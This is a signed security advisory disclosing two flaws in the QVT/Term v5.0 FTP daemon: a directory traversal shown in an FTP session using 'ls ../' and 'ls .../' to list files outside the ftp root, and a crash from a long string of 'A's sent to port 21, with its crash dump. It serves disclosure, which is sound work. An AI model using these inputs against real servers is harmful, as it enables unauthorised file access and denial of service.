-----BEGIN PGP SIGNED MESSAGE----- Vulnerabilities in QVT/Term Overview QVT/Term v5.0 is a suite of Internet tools available from http://www.qpc.com/. Two vulnerabilities exist in the FTP daemon. The first allows a remote user to list the files outside the ftp root. The second allows a remote user to crash the server. Details The following excerpt demonstrates the file listing problem; an ftp root of 'C:\root\root\' was used: > ftp localhost Connected to xxxxxxxxx.rh.rit.edu. 220 xxxxxxxxx FTP server (QVT/Net 4.3) ready. User (xxxxxxxxx.rh.rit.edu:(none)): anonymous 331 Guest login OK, please send real ident as password. Password: 230 Guest login OK, access restrictions apply. ftp> ls ../ 200 PORT command successful. 150 Opened data connection for 'ls' (xxxxxxxxx,1048) (0 bytes). root 226 Transfer complete. ftp: 6 bytes received in 0.05Seconds 0.12Kbytes/sec. ftp> ls .../ [file listing of C:\ is shown here] 226 Transfer complete. ftp: 1192 bytes received in 0.11Seconds 10.84Kbytes/sec. ftp> The following is the crash dump that results when a remote user connects to port 21 and sends a long stream of 'A's (~700+): FTPD caused an invalid page fault in module FTPD.EXE at 017f:00404b34. Registers: EAX=0000200a CS=017f EIP=00404b34 EFLGS=00010213 EBX=0066799b SS=0187 ESP=0064fac8 EBP=00666a58 ECX=0000066c DS=0187 ESI=00667ff3 FS=1bb7 EDX=006699a5 ES=0187 EDI=00669ffd GS=0000 Bytes at CS:EIP: f3 a5 8b c8 68 70 fc 40 00 83 e1 03 53 f3 a4 8b Stack dump: 00000004 00771b90 00666a58 0064fbc0 0000060a 12948ae8 00771b90 004105a0 00288b30 bff728a2 0187bff7 bff713e2 12948b04 0a2c175f 12990002 00288b4c Solution No quick fix is possible. Vendor Status QPC Software was contacted via <support@qpc.com> on Tuesday, September 18, 2001. No reply was received. - Joe Testa e-mail: joetesta@hushmail.com web page: http://hogs.rit.edu/~joet/ AIM: LordSpankatron -----BEGIN PGP SIGNATURE----- Version: Hush 2.0 wl0EARECAB0FAjuxgKkWHGpvZXRlc3RhQGh1c2htYWlsLmNvbQAKCRA/wHT6vruBNAPK AJ9wTSs45AV9UKruT/Hikdomqu0IWgCfbDSqFhwDBqLJYqKimvXMV20hPmc= =xAvj -----END PGP SIGNATURE-----